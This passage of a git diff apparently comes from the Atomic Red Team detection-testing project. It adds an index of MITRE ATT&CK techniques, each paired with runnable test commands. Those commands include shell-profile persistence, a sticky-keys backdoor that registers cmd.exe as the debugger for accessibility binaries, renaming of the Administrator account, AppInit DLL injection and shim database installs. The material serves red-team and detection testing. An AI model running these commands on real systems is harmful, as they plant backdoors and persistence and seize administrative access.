URLs via powershell [windows] + +# initial-access +- T1189 Drive-by Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1190 Exploit Public-Facing Application [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1133 External Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1200 Hardware Additions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1091 Replication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1193 Spearphishing Attachment](./T1193/T1193.md) + - Atomic Test #1: Download Phishing Attachment - VBScript [windows] +- T1192 Spearphishing Link [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1194 Spearphishing via Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1195 Supply Chain Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1199 Trusted Relationship [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1078 Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) + diff --git a/atomics/linux-matrix.md b/atomics/Indexes/Matrices/linux-matrix.md similarity index 100% rename from atomics/linux-matrix.md rename to atomics/Indexes/Matrices/linux-matrix.md diff --git a/atomics/macos-matrix.md b/atomics/Indexes/Matrices/macos-matrix.md similarity index 100% rename from atomics/macos-matrix.md rename to atomics/Indexes/Matrices/macos-matrix.md diff --git a/atomics/matrix.md b/atomics/Indexes/Matrices/matrix.md similarity index 100% rename from atomics/matrix.md rename to atomics/Indexes/Matrices/matrix.md diff --git a/atomics/windows-matrix.md b/atomics/Indexes/Matrices/windows-matrix.md similarity index 100% rename from atomics/windows-matrix.md rename to atomics/Indexes/Matrices/windows-matrix.md diff --git a/atomics/Indexes/index.yaml b/atomics/Indexes/index.yaml new file mode 100644 index 00000000..103685f3 --- /dev/null +++ b/atomics/Indexes/index.yaml @@ -0,0 +1,29825 @@ +--- +persistence: + T1156: + technique: + x_mitre_data_sources: + - File monitoring + - Process monitoring + - Process command-line parameters + - Process use of network + x_mitre_permissions_required: + - User + - Administrator + name: ".bash_profile and .bashrc" + description: "~/.bash_profile and ~/.bashrc are shell + scripts that contain shell commands. These files are executed in a user's + context when a new shell opens or when a user logs in so that their environment + is set correctly. ~/.bash_profile is executed for login shells + and ~/.bashrc is executed for interactive non-login shells. This + means that when a user logs in (via username and password) to the console + (either locally or remotely via something like SSH), the ~/.bash_profile + script is executed before the initial command prompt is returned to the user. + After that, every time a new shell is opened, the ~/.bashrc script + is executed. This allows users more fine-grained control over when they want + certain commands executed. These shell scripts are meant to be written to + by the local user to configure their own environment. \n\nThe macOS Terminal.app + is a little different in that it runs a login shell by default each time a + new terminal window is opened, thus calling ~/.bash_profile each + time instead of ~/.bashrc.\n\nAdversaries may abuse these shell + scripts by inserting arbitrary shell commands that may be used to execute + other binaries to gain persistence. Every time the user logs in or opens a + new shell, the modified ~/.bash_profile and/or ~/.bashrc scripts will be executed.(Citation: + amnesia malware)." + id: attack-pattern--01df3350-ce05-4bdf-bdf8-0a919a66d4a8 + x_mitre_platforms: + - Linux + - macOS + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.1' + type: attack-pattern + x_mitre_detection: While users may customize their ~/.bashrc and + ~/.bash_profile files , there are only certain types of commands + that typically appear in these files. Monitor for abnormal commands such as + execution of unknown programs, opening network sockets, or reaching out across + the network when user profiles are loaded during the login process. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + created: '2017-12-14T16:46:06.044Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + external_references: + - external_id: T1156 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1156 + - source_name: amnesia malware + description: Claud Xiao, Cong Zheng, Yanhui Jia. (2017, April 6). New IoT/Linux + Malware Targets DVRs, Forms Botnet. Retrieved February 19, 2018. + url: https://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/ + modified: '2019-06-13T14:49:56.024Z' + identifier: T1156 + atomic_tests: + - name: Add command to .bash_profile + description: 'Adds a command to the .bash_profile file of the current user + + ' + supported_platforms: + - macos + - linux + input_arguments: + command_to_add: + description: Command to add to the .bash_profile file + type: string + default: "/path/to/script.py" + executor: + name: sh + command: 'echo "#{command_to_add}" >> ~/.bash_profile + + ' + - name: Add command to .bashrc + description: 'Adds a command to the .bashrc file of the current user + + ' + supported_platforms: + - macos + - linux + input_arguments: + command_to_add: + description: Command to add to the .bashrc file + type: string + default: "/path/to/script.py" + executor: + name: sh + command: 'echo "#{command_to_add}" >> ~/.bashrc + + ' + T1015: + technique: + x_mitre_permissions_required: + - Administrator + x_mitre_data_sources: + - Windows Registry + - File monitoring + - Process monitoring + name: Accessibility Features + description: |- + Windows contains accessibility features that may be launched with a key combination before a user has logged in (for example, when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system. + + Two common accessibility programs are C:\Windows\System32\sethc.exe, launched when the shift key is pressed five times and C:\Windows\System32\utilman.exe, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as "sticky keys", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit) + + Depending on the version of Windows, an adversary may take advantage of these features in different ways because of code integrity enhancements. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in %systemdir%\, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced. Examples for both methods: + + For simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., C:\Windows\System32\utilman.exe) may be replaced with "cmd.exe" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014) + + For the debugger method on Windows Vista and later as well as Windows Server 2008 and later, for example, a Registry key may be modified that configures "cmd.exe," or another program that provides backdoor access, as a "debugger" for the accessibility program (e.g., "utilman.exe"). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with RDP will cause the "debugger" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014) + + Other accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys) + + * On-Screen Keyboard: C:\Windows\System32\osk.exe + * Magnifier: C:\Windows\System32\Magnify.exe + * Narrator: C:\Windows\System32\Narrator.exe + * Display Switcher: C:\Windows\System32\DisplaySwitch.exe + * App Switcher: C:\Windows\System32\AtBroker.exe + id: attack-pattern--9b99b83a-1aac-4e29-b975-b374950551a3 + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: Changes to accessibility utility binaries or binary paths + that do not correlate with known software, patch cycles, etc., are suspicious. + Command line invocation of tools capable of modifying the Registry for associated + keys are also suspicious. Utility arguments and the binaries themselves should + be monitored for changes. Monitor Registry keys within HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows + NT\CurrentVersion\Image File Execution Options. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Paul Speulstra, AECOM Global Security Operations Center + created: '2017-05-31T21:30:26.946Z' + x_mitre_effective_permissions: + - SYSTEM + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + - kill_chain_name: mitre-attack + phase_name: privilege-escalation + external_references: + - external_id: T1015 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1015 + - source_name: capec + external_id: CAPEC-558 + url: https://capec.mitre.org/data/definitions/558.html + - source_name: FireEye Hikit Rootkit + description: 'Glyer, C., Kazanciyan, R. (2012, August 20). THE “HIKIT” ROOTKIT: + ADVANCED AND PERSISTENT ATTACK TECHNIQUES (PART 1). Retrieved June 6, 2016.' + url: https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html + - source_name: DEFCON2016 Sticky Keys + description: Maldonado, D., McGuffin, T. (2016, August 6). Sticky Keys to + the Kingdom. Retrieved July 5, 2017. + url: https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom + - source_name: Tilbury 2014 + description: Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse. + Retrieved November 12, 2014. + url: http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/ + modified: '2019-07-16T19:07:04.652Z' + identifier: T1015 + atomic_tests: + - name: Attaches Command Prompt as a Debugger to a List of Target Processes + description: | + Attaches cmd.exe to a list of processes. Configure your own Input arguments to a different executable or list of executables. + + Upon successful execution, powershell will modify the registry and swap osk.exe with cmd.exe. + supported_platforms: + - windows + input_arguments: + parent_list: + description: 'Comma separated list of system binaries to which you want + to attach each #{attached_process}. Default: "osk.exe" + + ' + type: String + default: osk.exe, sethc.exe, utilman.exe, magnify.exe, narrator.exe, DisplaySwitch.exe, + atbroker.exe + attached_process: + description: 'Full path to process to attach to target in #{parent_list}. + Default: cmd.exe + + ' + type: Path + default: C:\windows\system32\cmd.exe + executor: + name: powershell + elevation_required: true + command: "$input_table = \"#{parent_list}\".split(\",\")\n$Name = \"Debugger\"\n$Value + = \"#{attached_process}\"\nForeach ($item in $input_table){ \n $item + = $item.trim()\n $registryPath = \"HKLM:\\SOFTWARE\\Microsoft\\Windows + NT\\CurrentVersion\\Image File Execution Options\\$item\"\n IF(!(Test-Path + $registryPath))\n {\n New-Item -Path $registryPath -Force\n New-ItemProperty + -Path $registryPath -Name $name -Value $Value -PropertyType STRING -Force\n + \ }\n ELSE\n {\n New-ItemProperty -Path $registryPath -Name $name -Value + $Value\n }\n}\n" + cleanup_command: |- + $input_table = "#{parent_list}".split(",") + Foreach ($item in $input_table) + { + $item = $item.trim() + reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\$item" /v Debugger /f + } + T1098: + technique: + x_mitre_permissions_required: + - Administrator + x_mitre_data_sources: + - Authentication logs + - API monitoring + - Windows event logs + - Packet capture + name: Account Manipulation + description: |- + Account manipulation may aid adversaries in maintaining access to credentials and certain permission levels within an environment. Manipulation could consist of modifying permissions, modifying credentials, adding or changing permission groups, modifying account settings, or modifying how authentication is performed. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to subvert password duration policies and preserve the life of compromised credentials. In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain. + + ### Exchange Email Account Takeover + + The Add-MailboxPermission PowerShell cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission) This command can be run, given adequate permissions, to further access granted to certain user accounts. This may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can assign more access rights to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules so the messages evade spam/phishing detection mechanisms.(Citation: Bienstock, D. - Defending O365 - 2019) + + ### Azure AD + + In Azure, an adversary can set a second password for Service Principals, facilitating persistence.(Citation: Blue Cloud of Death) + + ### AWS + + AWS policies allow trust between accounts by simply identifying the account name. It is then up to the trusted account to only allow the correct roles to have access.(Citation: Summit Route Advanced AWS policy auditing) + id: attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27 + x_mitre_platforms: + - Windows + - Office 365 + - Azure + - GCP + - Azure AD + - AWS + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '2.0' + x_mitre_system_requirements: + - 'Exchange email account takeover: Sufficient permission to run the Add-MailboxPermission + PowerShell cmdlet (depending on parameters used, may require more permission)' + type: attack-pattern + x_mitre_detection: |- + Collect events that correlate with changes to account objects on systems and the domain, such as event ID 4738.(Citation: Microsoft User Modified Event) Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems. Especially flag events where the subject and target accounts differ(Citation: InsiderThreat ChangeNTLM July 2017) or that include additional flags such as changing a password without knowledge of the old password.(Citation: GitHub Mimikatz Issue 92 June 2017) + + Use of credentials may also occur at unusual times or to unusual systems or services and may correlate with other suspicious activity. + + Monitor for unusual Exchange and Office 365 email account permissions changes that may indicate excessively broad permissions being granted to compromised accounts. + + A larger volume of emails sent from an account than normal and the discovery of similar phishing emails being sent from real accounts within a network may be signs that an account may have been compromised and attempts to leverage access with modified email permissions is occurring. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Jannie Li, Microsoft Threat Intelligence Center (MSTIC) + - Praetorian + - Tim MalcomVetter + created: '2017-05-31T21:31:12.196Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: credential-access + - kill_chain_name: mitre-attack + phase_name: persistence + external_references: + - source_name: mitre-attack + external_id: T1098 + url: https://attack.mitre.org/techniques/T1098 + - description: Microsoft. (n.d.). Add-Mailbox Permission. Retrieved September + 13, 2019. + source_name: Microsoft - Add-MailboxPermission + url: https://docs.microsoft.com/en-us/powershell/module/exchange/mailboxes/add-mailboxpermission?view=exchange-ps + - description: 'Bienstock, D.. (2019). BECS and Beyond: Investigating and Defending + O365. Retrieved September 13, 2019.' + source_name: Bienstock, D. - Defending O365 - 2019 + url: https://www.slideshare.net/DouglasBienstock/shmoocon-2019-becs-and-beyond-investigating-and-defending-office-365 + - description: 'Kunz, Bryce. (2018, May 11). Blue Cloud of Death: Red Teaming + Azure. Retrieved October 23, 2019.' + source_name: Blue Cloud of Death + url: https://speakerdeck.com/tweekfawkes/blue-cloud-of-death-red-teaming-azure-1 + - description: Piper, Scott. (2019, April 3). Advanced AWS policy auditing - + Confused deputies with AWS services. Retrieved October 23, 2019. + source_name: Summit Route Advanced AWS policy auditing + url: https://summitroute.com/blog/2019/04/03/advanced_aws_policy_auditing_confused_deputies_with_aws_services/ + - description: 'Lich, B., Miroshnikov, A. (2017, April 5). 4738(S): A user account + was changed. Retrieved June 30, 2017.' + source_name: Microsoft User Modified Event + url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4738 + - source_name: InsiderThreat ChangeNTLM July 2017 + description: Warren, J. (2017, July 11). Manipulating User Passwords with + Mimikatz. Retrieved December 4, 2017. + url: https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM + - source_name: GitHub Mimikatz Issue 92 June 2017 + description: 'Warren, J. (2017, June 22). lsadump::changentlm and lsadump::setntlm + work, but generate Windows events #92. Retrieved December 4, 2017.' + url: https://github.com/gentilkiwi/mimikatz/issues/92 + modified: '2019-10-23T14:49:39.188Z' + identifier: T1098 + atomic_tests: + - name: Admin Account Manipulate + description: 'Manipulate Admin Account Name + + ' + supported_platforms: + - windows + executor: + name: powershell + elevation_required: true + command: | + $x = Get-Random -Minimum 2 -Maximum 9999 + $y = Get-Random -Minimum 2 -Maximum 9999 + $z = Get-Random -Minimum 2 -Maximum 9999 + $w = Get-Random -Minimum 2 -Maximum 9999 + Write-Host HaHaHa_$x$y$z$w + + $hostname = (Get-CIMInstance CIM_ComputerSystem).Name + + $fmm = Get-CimInstance -ClassName win32_group -Filter "name = 'Administrators'" | Get-CimAssociatedInstance -Association win32_groupuser | Select Name + + foreach($member in $fmm) { + if($member -like "*Administrator*") { + Rename-LocalUser -Name $member.Name -NewName "HaHaHa_$x$y$z$w" + Write-Host "Successfully Renamed Administrator Account on" $hostname + } + } + '': + technique: + x_mitre_data_sources: + - AWS CloudTrail logs + - Stackdriver logs + - Authentication logs + - Process monitoring + x_mitre_permissions_required: + - User + - Administrator + name: Valid Accounts + description: "Adversaries may steal the credentials of a specific user or service + account using Credential Access techniques or capture credentials earlier + in their reconnaissance process through social engineering for means of gaining + Initial Access. \n\nAccounts that an adversary may use can fall into three + categories: default, local, and domain accounts. Default accounts are those + that are built-into an OS such as Guest or Administrator account on Windows + systems or default factory/provider set accounts on other types of systems, + software, or devices. Local accounts are those configured by an organization + for use by users, remote support, services, or for administration on a single + system or service. (Citation: Microsoft Local Accounts Feb 2019) Domain accounts + are those managed by Active Directory Domain Services where access and permissions + are configured across systems and services that are part of that domain. Domain + accounts can cover users, administrators, and services.\n\nCompromised credentials + may be used to bypass access controls placed on various resources on systems + within the network and may even be used for persistent access to remote systems + and externally available services, such as VPNs, Outlook Web Access and remote + desktop. Compromised credentials may also grant an adversary increased privilege + to specific systems or access to restricted areas of the network. Adversaries + may choose not to use malware or tools in conjunction with the legitimate + access those credentials provide to make it harder to detect their presence.\n\nDefault + accounts are also not limited to Guest and Administrator on client machines, + they also include accounts that are preset for equipment such as network devices + and computer applications whether they are internal, open source, or COTS. + Appliances that come preset with a username and password combination pose + a serious threat to organizations that do not change it post installation, + as they are easy targets for an adversary. Similarly, adversaries may also + utilize publicly disclosed private keys, or stolen private keys, to legitimately + connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021) + (Citation: Metasploit SSH Module)\n\nThe overlap of account access, credentials, + and permissions across a network of systems is of concern because the adversary + may be able to pivot across accounts and systems to reach a high level of + access (i.e., domain or enterprise administrator) to bypass access controls + set within the enterprise. (Citation: TechNet Credential Theft)" + id: attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81 + modified: '2019-10-23T14:22:11.800Z' + x_mitre_platforms: + - Linux + - macOS + - Windows + - AWS + - GCP + - Azure + - SaaS + - Office 365 + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '2.0' + type: attack-pattern + x_mitre_detection: "Configure robust, consistent account activity audit policies + across the enterprise and with externally accessible services. (Citation: + TechNet Audit Policy) Look for suspicious account behavior across systems + that share accounts, either user, admin, or service accounts. Examples: one + account logged into multiple systems simultaneously; multiple accounts logged + into the same machine simultaneously; accounts logged in at odd times or outside + of business hours. Activity may be from interactive login sessions or process + ownership from accounts being used to execute binaries on a remote system + as a particular account. Correlate other security systems with login information + (e.g., a user has an active login session but has not entered the building + or does not have VPN access).\n\nPerform regular audits of domain and local + system accounts to detect accounts that may have been created by an adversary + for persistence. Checks on these accounts could also include whether default + accounts such as Guest have been activated. These audits should also include + checks on any appliances and applications for default credentials or SSH keys, + and if any are discovered, they should be updated immediately. " + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Netskope + - Mark Wee + - Praetorian + created: '2017-05-31T21:31:00.645Z' + x_mitre_effective_permissions: + - User + - Administrator + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + - kill_chain_name: mitre-attack + phase_name: persistence + - kill_chain_name: mitre-attack + phase_name: privilege-escalation + - kill_chain_name: mitre-attack + phase_name: initial-access + external_references: + - external_id: T1078 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1078 + - source_name: capec + external_id: CAPEC-560 + url: https://capec.mitre.org/data/definitions/560.html + - description: Microsoft. (2018, December 9). Local Accounts. Retrieved February + 11, 2019. + source_name: Microsoft Local Accounts Feb 2019 + url: https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts + - description: undefined. (n.d.). Retrieved April 12, 2019. + source_name: Metasploit SSH Module + url: https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/linux/ssh + - source_name: TechNet Credential Theft + description: Microsoft. (2016, April 15). Attractive Accounts for Credential + Theft. Retrieved June 3, 2016. + url: https://technet.microsoft.com/en-us/library/dn535501.aspx + - source_name: TechNet Audit Policy + description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved + June 3, 2016. + url: https://technet.microsoft.com/en-us/library/dn487457.aspx + x_mitre_defense_bypassed: + - Firewall + - Host intrusion prevention systems + - Network intrusion detection system + - Process whitelisting + - System access controls + - Anti-virus + atomic_tests: [] + T1103: + technique: + x_mitre_data_sources: + - Loaded DLLs + - Process monitoring + - Windows Registry + x_mitre_permissions_required: + - Administrator + name: AppInit DLLs + description: |- + Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows or HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Endgame Process Injection July 2017) Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry) + + The AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot) + id: attack-pattern--317fefa6-46c7-4062-adb6-2008cf6bcb41 + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + x_mitre_system_requirements: + - Secure boot disabled on systems running Windows 8 and later + type: attack-pattern + x_mitre_detection: "Monitor DLL loads by processes that load user32.dll and + look for DLLs that are not recognized or not normally loaded into a process. + Monitor the AppInit_DLLs Registry values for modifications that do not correlate + with known software, patch cycles, etc. Monitor and analyze application programming + interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx + and RegSetValueEx. (Citation: Endgame Process Injection July 2017) Tools such + as Sysinternals Autoruns may also be used to detect system changes that could + be attempts at persistence, including listing current AppInit DLLs. (Citation: + TechNet Autoruns) \n\nLook for abnormal process behavior that may be due to + a process loading a malicious DLL. Data and events should not be viewed in + isolation, but as part of a chain of behavior that could lead to other activities, + such as making network connections for Command and Control, learning details + about the environment through Discovery, and conducting Lateral Movement." + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + created: '2017-05-31T21:31:15.409Z' + x_mitre_effective_permissions: + - Administrator + - SYSTEM + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + - kill_chain_name: mitre-attack + phase_name: privilege-escalation + external_references: + - external_id: T1103 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1103 + - source_name: Endgame Process Injection July 2017 + description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: + A Technical Survey Of Common And Trending Process Injection Techniques. + Retrieved December 7, 2017.' + url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process + - source_name: AppInit Registry + description: Microsoft. (2006, October). Working with the AppInit_DLLs registry + value. Retrieved July 15, 2015. + url: https://support.microsoft.com/en-us/kb/197571 + - source_name: AppInit Secure Boot + description: Microsoft. (n.d.). AppInit DLLs and Secure Boot. Retrieved July + 15, 2015. + url: https://msdn.microsoft.com/en-us/library/dn280412 + - source_name: TechNet Autoruns + description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. + Retrieved June 6, 2016. + url: https://technet.microsoft.com/en-us/sysinternals/bb963902 + modified: '2019-07-16T19:09:25.240Z' + identifier: T1103 + atomic_tests: + - name: Install AppInit Shim + description: 'AppInit_DLLs is a mechanism that allows an arbitrary list of DLLs + to be loaded into each user mode process on the system + + ' + supported_platforms: + - windows + input_arguments: + registry_file: + description: Windows Registry File + type: Path + default: T1103.reg + executor: + name: command_prompt + elevation_required: true + command: 'reg.exe import #{registry_file} + + ' + T1138: + technique: + x_mitre_data_sources: + - Loaded DLLs + - System calls + - Windows Registry + - Process monitoring + - Process command-line parameters + x_mitre_permissions_required: + - Administrator + name: Application Shimming + description: "The Microsoft Windows Application Compatibility Infrastructure/Framework + (Application Shim) was created to allow for backward compatibility of software + as the operating system codebase changes over time. For example, the application + shimming feature allows developers to apply fixes to applications (without + rewriting code) that were created for Windows XP so that it will work with + Windows 10. (Citation: Endgame Process Injection July 2017) Within the framework, + shims are created to act as a buffer between the program (or more specifically, + the Import Address Table) and the Windows OS. When a program is executed, + the shim cache is referenced to determine if the program requires the use + of the shim database (.sdb). If so, the shim database uses [Hooking](https://attack.mitre.org/techniques/T1179) + to redirect the code as necessary in order to communicate with the OS. \n\nA + list of all shims currently installed by the default Windows installer (sdbinst.exe) + is kept in:\n\n* %WINDIR%\\AppPatch\\sysmain.sdb\n* hklm\\software\\microsoft\\windows + nt\\currentversion\\appcompatflags\\installedsdb\n\nCustom databases + are stored in:\n\n* %WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom\n* + hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom\n\nTo + keep shims secure, Windows designed them to run in user mode so they cannot + modify the kernel and you must have administrator privileges to install a + shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) + (UAC) (RedirectEXE), inject DLLs into processes (InjectDLL), disable Data + Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), + and intercept memory addresses (GetProcAddress). Similar to [Hooking](https://attack.mitre.org/techniques/T1179), + utilizing these shims may allow an adversary to perform several malicious + acts such as elevate privileges, install backdoors, disable defenses like + Windows Defender, etc." + id: attack-pattern--7c93aa74-4bc0-4a9e-90ea-f25f86301566 + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: |- + There are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim): + + * Shim-Process-Scanner - checks memory of every running process for any Shim flags + * Shim-Detector-Lite - detects installation of custom shim databases + * Shim-Guard - monitors registry for any shim installations + * ShimScanner - forensic tool to find active shims in memory + * ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot) + + Monitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + created: '2017-12-14T16:46:06.044Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + - kill_chain_name: mitre-attack + phase_name: privilege-escalation + external_references: + - external_id: T1138 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1138 + - source_name: Endgame Process Injection July 2017 + description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: + A Technical Survey Of Common And Trending Process Injection Techniques. + Retrieved December 7, 2017.' + url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process + - source_name: Black Hat 2015 App Shim + description: Pierce, Sean. (2015, November). Defending Against Malicious Application + Compatibility Shims. Retrieved June 22, 2017. + url: https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf + modified: '2019-07-16T19:24:57.985Z' + identifier: T1138 + atomic_tests: + - name: Application Shim Installation + description: | + To test injecting DLL into a custom application + you need to copy AtomicShim.dll Into C:\Tools + As well as Compile the custom app. + We believe observing the shim install is a good + place to start. + supported_platforms: + - windows + input_arguments: + file_path: + description: Path to the shim databaase file + type: String + default: PathToAtomicsFolder\T1138\src\AtomicShimx86.sdb + dependency_executor_name: powershell + dependencies: + - description: Shim database file must exist on disk at specified location (#{file_path}) + prereq_command: 'if (Test-Path #{file_path}) {exit 0} else {exit 1}' + get_prereq_command: |- + New-Item -Type Directory (split-path #{file_path}) -ErrorAction ignore | Out-Null + Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1138/src/AtomicShimx86.sdb" -OutFile "#{file_path}" + executor: + name: command_prompt + elevation_required: true + command: | + sdbinst.exe #{file_path} + sdbinst.exe -u #{file_path} + - name: New shim database files created in the default shim database directory + description: 'https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html + + ' + supported_platforms: + - windows + executor: + name: powershell + elevation_required: true + command: | + Copy-Item $PathToAtomicsFolder\T1138\bin\T1138CompatDatabase.sdb C:\Windows\apppatch\Custom\T1138CompatDatabase.sdb + Copy-Item $PathToAtomicsFolder\T1138\bin\T1138CompatDatabase.sdb C:\Windows\apppatch\Custom\Custom64\T1138CompatDatabase.sdb + cleanup_command: | + Remove-Item C:\Windows\apppatch\Custom\T1138CompatDatabase.sdb -ErrorAction Ignore + Remove-Item C:\Windows\apppatch\Custom\Custom64\T1138CompatDatabase.sdb -ErrorAction Ignore + - name: Registry key creation and/or modification events for SDB + description: 'https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html + + ' + supported_platforms: + - windows + executor: + name: powershell + elevation_required: true + command: | + New-ItemProperty -Path HKLM:"\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom" -Name "AtomicRedTeamT1138" -Value "AtomicRedTeamT1138" + New-ItemProperty -Path HKLM:"\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\InstalledSDB" -Name "AtomicRedTeamT1138" -Value "AtomicRedTeamT1138" + cleanup_command: | + Remove-ItemProperty -Path HKLM:"\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom" -Name "AtomicRedTeamT1138" -ErrorAction Ignore + Remove-ItemProperty -Path HKLM:"\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\InstalledSDB" -Name "AtomicRedTeamT1138" -ErrorAction Ignore + T1197: + technique: + x_mitre_data_sources: + - API monitoring + - Packet capture + - Windows event logs + x_mitre_permissions_required: + - User + - Administrator + - SYSTEM + name: BITS Jobs + description: |- + Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through Component Object Model (COM). (Citation: Microsoft COM) (Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting 